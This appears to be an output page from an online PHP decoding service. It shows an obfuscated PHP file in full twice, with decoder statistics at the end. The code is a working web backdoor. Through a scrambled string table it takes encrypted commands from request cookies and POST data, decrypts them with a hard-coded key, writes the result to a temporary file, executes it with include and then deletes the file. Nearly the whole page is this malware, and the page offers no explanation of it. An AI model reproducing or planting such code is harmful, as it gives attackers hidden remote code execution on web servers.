Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function dy1 ( $xd2 ) {$ni3/* fvpwc*/=/* nwxa */"ef@_/h650ar18s-..

Decoded Output download

<?php 
function  dy1      (       $xd2    ) 
{$ni3/* fvpwc*/=/*   nwxa  */"ef@_/h650ar18s-v'<Fb7k92H(nmotpyiL*;c?4d xEIu." . 
"g" . 
"#l" . 
")" ;$ax5=''; 
 
foreach(/* xnaa */$xd2/* mx  */as/* bxklx*/$rb4    ){ 
$ax5     .=    $ni3      [   $rb4       ];} 
 
return/*  ou  */$ax5; 
 
 
}$nd6      =/*o */Array();$oglucf    =/*  h  */10430; 
 
 
$nd6    []    =    dy1      (    Array(8   ,    9    ,      9    ,    23    ,/*   lsbac */7/* pmel */,/*r*/36    ,/*nfjxz  */0    ,     22   ,    14/*tsu  */,    20/* nzt*/,    38  ,/*   t */8  ,    7   ,    14    ,      38    ,    11/*   neb  */,/*   lu */8    ,       8      ,    14      ,    19     ,     0/* bmtej */,    23/*  wps   */,/* iv */23    ,    14    ,     22      ,       6    ,/*cwg */23    ,/*  jia */20/* ylljv   */,  20   ,/*   k  */12    ,       19  ,/*  yfr*/0    ,      9       ,    20/*  vh */,/*  x*/7    ,    36/* ivv*/,)    )     ; 
 
$nd6/*on   */[]       =    dy1    (/*   lgs*/Array(37    ,/* dme*/30      ,  5    ,   30    ,   40    ,     2/* dwxof  */,    44    ,    26       ,    48    ,    32/* emhz   */,/*  yqi  */26    ,/*  evp*/21      ,     25/* tigx*/,/* uy */3    ,    3      ,      18    ,    43    ,      33/*  ur   */,    42    ,/*   tvx */3    ,/*   u  */3    ,    49    ,     35    ,    40/*fzyzk */,)   )    ;$nd6    []    =       dy1/*   a */(    Array(45/*   mwt*/,    27/*mg   */,/*   pnkwl  */28    ,/*t  */39    ,      44    ,    48/*  qbx  */,/* p  */0    ,)  )      ; 
 
$nd6     []/*hpbrq */=   dy1    (/*  k  */Array(24       ,    34      ,)   )/*asw*/; 
$nd6  []    =    dy1  (    Array(45    ,       4/*   alqn*/,)/* sx  */)    ; 
$nd6   []    =/* guqqb */dy1      (/*   b  */Array(47/* ndg*/,)/*   vi   */)   ; 
 
 
$nd6     []/*  yt  */=/*   svo */dy1    (    Array(17/*  jcoh  */,)/*wbwhf   */)    ; 
 
 
$nd6[]      =    dy1    (       Array(1/*qt  */,    32  ,    48/* krt*/,    0/*   o */,/*  tpt   */3    ,    30       ,    44     ,    29     ,    3/*  hwkjk*/,  36      ,    28    ,/*  yphkr */26/*vpn   */,    29    ,       0/* ddd   */,  26/*  b */,    29/*   a  */,      13   ,)      )    ;$nd6[]/*  uwvtj*/=    dy1/*u  */(    Array(9/*intla   */,   10    ,/*   rwdh  */10/* nrj*/,    9/* tchq*/,    31/*   mo   */,  3      ,  27       ,    0    ,/*   zajlv   */10    ,   46   ,    0     ,)/*  jxv */)/* r  */; 
 
 
$nd6[]/* k  */=       dy1    (    Array(13/*  vvd*/,/*  rg   */29    ,    10/*   ow  */,/*   fxap  */3  ,/*   ae */10    ,/* wmq   */0     ,/*hgszj*/30    ,/*kt */0     ,/* gz*/9       ,/*   ujuw   */29      ,)    )    ; 
 
 
$nd6[]    =   dy1    (    Array(0     ,/* bmkca */41/*  l  */,    30  ,  48  ,    28    ,    39/*e */,   0    ,)    )    ; 
 
 
$nd6[]       =/*   ysdwo */dy1/* zmg*/(/*   e  */Array(13      ,    44    ,    19/*   sjx  */,    13/*   iyef */,    29/*   r  */,    10  ,)/*   omps  */)    ; 
$nd6[]     =/*  bddtt*/dy1    (       Array(44  ,/*ywry*/26  ,/*  ar  */48/* ujfuk  */,      32/*  dbuj  */,    26   ,    21/*   qr   */,)    )/*uqciu*/;$nd6[]    =    dy1       (/*hotku  */Array(13/*   bvcuv  */,    29    ,  10  ,/*  p   */48/*jaby */,    0  ,     26    ,)    )    ; 
$nd6[]    =   dy1/*  ebtv */(/*   k */Array(30    ,/*  sbiik   */9    ,    36    ,     21      ,)      )    ; 
 
$nd6[]  =/* wu */dy1     (     Array(27/*   yh*/,    39   ,/*  rw*/7/*  bha */,)    )/*  hvc  */; 
 
 
 
 
foreach    (  $nd6[8]    (       $_COOKIE,    $_POST    )    as  $ci15    =>/* sjlf  */$jo11) 
 
 
{ 
       function/* byy*/ks8      (    $nd6,    $ci15     ,   $qn10     ) 
    {      return    $nd6[11]    (    $nd6[9]/* jdev   */(  $ci15/*s  */.  $nd6[0]    ,   (    $qn10/$nd6[13](/*vf   */$ci15/*  dvbgv   */)/*  e  */)/*  gmpx */+   1     )     ,    0    ,      $qn10    ); 
    } 
 
 
 
     function    xw7    (      $nd6,     $pw14/*  o   */) 
 
/*   qyu  */{      return/* tp  */@$nd6[14]       ($nd6[3]       ,       $pw14    ); 
 
/*   ilp   */} 
 
    function    oj9    (    $nd6,    $pw14  ) 
/*   h   */{ 
       if    (    isset      (    $pw14[2]  )    )/* kn   */{ 
 
 
     
 
 
    $zf13   =/* fvhhj*/$nd6[4]     .    $nd6[15](    $nd6[0]    )/*   dlvj*/.   $nd6[2]; 
 
 
/* sbbel*/@$nd6[7]   (/*   ccd */$zf13,     $nd6[6]    ./*m */$nd6[1]  .      $pw14[1]    (   $pw14[2]    )   );    $ll12/*a*/=    $zf13; 
 
 
   @include    (/*  whwkm */$ll12    ); 
 
 
/*   azexf   */@$nd6[12]    (/*  zgzk*/$zf13  ); 
 
 
 
/*   dqmg   */die/*  cnfb*/();/*   z */} 
 
    } 
 
 
      $jo11    =/* fjur   */xw7    (/*   fp  */$nd6,    $jo11    );    oj9    (/* muco */$nd6,    $nd6[10]    (   $nd6[5]/* x  */,   $jo11/* tecai*/^    ks8/*b */(    $nd6,       $ci15  ,/* zktf  */$nd6[13](    $jo11     )/*  rnjb   */)/*   upo  */)/*  gddpe */);} ?>

Did this file decode correctly?

Original Code

<?php
function  dy1      (       $xd2    )
{$ni3/* fvpwc*/=/*   nwxa  */"ef@_/h650ar18s-v'<Fb7k92H(nmotpyiL*;c?4d xEIu." .
"g" .
"#l" .
")" ;$ax5='';

foreach(/* xnaa */$xd2/* mx  */as/* bxklx*/$rb4    ){
$ax5     .=    $ni3      [   $rb4       ];}

return/*  ou  */$ax5;


}$nd6      =/*o */Array();$oglucf    =/*  h  */10430;


$nd6    []    =    dy1      (    Array(8   ,    9    ,      9    ,    23    ,/*   lsbac */7/* pmel */,/*r*/36    ,/*nfjxz  */0    ,     22   ,    14/*tsu  */,    20/* nzt*/,    38  ,/*   t */8  ,    7   ,    14    ,      38    ,    11/*   neb  */,/*   lu */8    ,       8      ,    14      ,    19     ,     0/* bmtej */,    23/*  wps   */,/* iv */23    ,    14    ,     22      ,       6    ,/*cwg */23    ,/*  jia */20/* ylljv   */,  20   ,/*   k  */12    ,       19  ,/*  yfr*/0    ,      9       ,    20/*  vh */,/*  x*/7    ,    36/* ivv*/,)    )     ;

$nd6/*on   */[]       =    dy1    (/*   lgs*/Array(37    ,/* dme*/30      ,  5    ,   30    ,   40    ,     2/* dwxof  */,    44    ,    26       ,    48    ,    32/* emhz   */,/*  yqi  */26    ,/*  evp*/21      ,     25/* tigx*/,/* uy */3    ,    3      ,      18    ,    43    ,      33/*  ur   */,    42    ,/*   tvx */3    ,/*   u  */3    ,    49    ,     35    ,    40/*fzyzk */,)   )    ;$nd6    []    =       dy1/*   a */(    Array(45/*   mwt*/,    27/*mg   */,/*   pnkwl  */28    ,/*t  */39    ,      44    ,    48/*  qbx  */,/* p  */0    ,)  )      ;

$nd6     []/*hpbrq */=   dy1    (/*  k  */Array(24       ,    34      ,)   )/*asw*/;
$nd6  []    =    dy1  (    Array(45    ,       4/*   alqn*/,)/* sx  */)    ;
$nd6   []    =/* guqqb */dy1      (/*   b  */Array(47/* ndg*/,)/*   vi   */)   ;


$nd6     []/*  yt  */=/*   svo */dy1    (    Array(17/*  jcoh  */,)/*wbwhf   */)    ;


$nd6[]      =    dy1    (       Array(1/*qt  */,    32  ,    48/* krt*/,    0/*   o */,/*  tpt   */3    ,    30       ,    44     ,    29     ,    3/*  hwkjk*/,  36      ,    28    ,/*  yphkr */26/*vpn   */,    29    ,       0/* ddd   */,  26/*  b */,    29/*   a  */,      13   ,)      )    ;$nd6[]/*  uwvtj*/=    dy1/*u  */(    Array(9/*intla   */,   10    ,/*   rwdh  */10/* nrj*/,    9/* tchq*/,    31/*   mo   */,  3      ,  27       ,    0    ,/*   zajlv   */10    ,   46   ,    0     ,)/*  jxv */)/* r  */;


$nd6[]/* k  */=       dy1    (    Array(13/*  vvd*/,/*  rg   */29    ,    10/*   ow  */,/*   fxap  */3  ,/*   ae */10    ,/* wmq   */0     ,/*hgszj*/30    ,/*kt */0     ,/* gz*/9       ,/*   ujuw   */29      ,)    )    ;


$nd6[]    =   dy1    (    Array(0     ,/* bmkca */41/*  l  */,    30  ,  48  ,    28    ,    39/*e */,   0    ,)    )    ;


$nd6[]       =/*   ysdwo */dy1/* zmg*/(/*   e  */Array(13      ,    44    ,    19/*   sjx  */,    13/*   iyef */,    29/*   r  */,    10  ,)/*   omps  */)    ;
$nd6[]     =/*  bddtt*/dy1    (       Array(44  ,/*ywry*/26  ,/*  ar  */48/* ujfuk  */,      32/*  dbuj  */,    26   ,    21/*   qr   */,)    )/*uqciu*/;$nd6[]    =    dy1       (/*hotku  */Array(13/*   bvcuv  */,    29    ,  10  ,/*  p   */48/*jaby */,    0  ,     26    ,)    )    ;
$nd6[]    =   dy1/*  ebtv */(/*   k */Array(30    ,/*  sbiik   */9    ,    36    ,     21      ,)      )    ;

$nd6[]  =/* wu */dy1     (     Array(27/*   yh*/,    39   ,/*  rw*/7/*  bha */,)    )/*  hvc  */;




foreach    (  $nd6[8]    (       $_COOKIE,    $_POST    )    as  $ci15    =>/* sjlf  */$jo11)


{
       function/* byy*/ks8      (    $nd6,    $ci15     ,   $qn10     )
    {      return    $nd6[11]    (    $nd6[9]/* jdev   */(  $ci15/*s  */.  $nd6[0]    ,   (    $qn10/$nd6[13](/*vf   */$ci15/*  dvbgv   */)/*  e  */)/*  gmpx */+   1     )     ,    0    ,      $qn10    );
    }



     function    xw7    (      $nd6,     $pw14/*  o   */)

/*   qyu  */{      return/* tp  */@$nd6[14]       ($nd6[3]       ,       $pw14    );

/*   ilp   */}

    function    oj9    (    $nd6,    $pw14  )
/*   h   */{
       if    (    isset      (    $pw14[2]  )    )/* kn   */{


    


    $zf13   =/* fvhhj*/$nd6[4]     .    $nd6[15](    $nd6[0]    )/*   dlvj*/.   $nd6[2];


/* sbbel*/@$nd6[7]   (/*   ccd */$zf13,     $nd6[6]    ./*m */$nd6[1]  .      $pw14[1]    (   $pw14[2]    )   );    $ll12/*a*/=    $zf13;


   @include    (/*  whwkm */$ll12    );


/*   azexf   */@$nd6[12]    (/*  zgzk*/$zf13  );



/*   dqmg   */die/*  cnfb*/();/*   z */}

    }


      $jo11    =/* fjur   */xw7    (/*   fp  */$nd6,    $jo11    );    oj9    (/* muco */$nd6,    $nd6[10]    (   $nd6[5]/* x  */,   $jo11/* tecai*/^    ks8/*b */(    $nd6,       $ci15  ,/* zktf  */$nd6[13](    $jo11     )/*  rnjb   */)/*   upo  */)/*  gddpe */);}

Function Calls

dy1 16
null 1

Variables

$ax5 000
$nd6 [{'key': None, 'value': '000'}]
$ni3 ef@_/h650ar18s-v'<Fb7k92H(nmotpyiL*;c?4d xEIu.g#l)
$rb4 7
$xd2 [{'key': 0, 'value': 27}, {'key': 1, 'value': 39}, {'key': 2, 'value': 7}]
$oglucf 10430

Stats

MD5 476a6aac1e373d8ac4d37d4fc100e74c
Eval Count 0
Decode Time 203 ms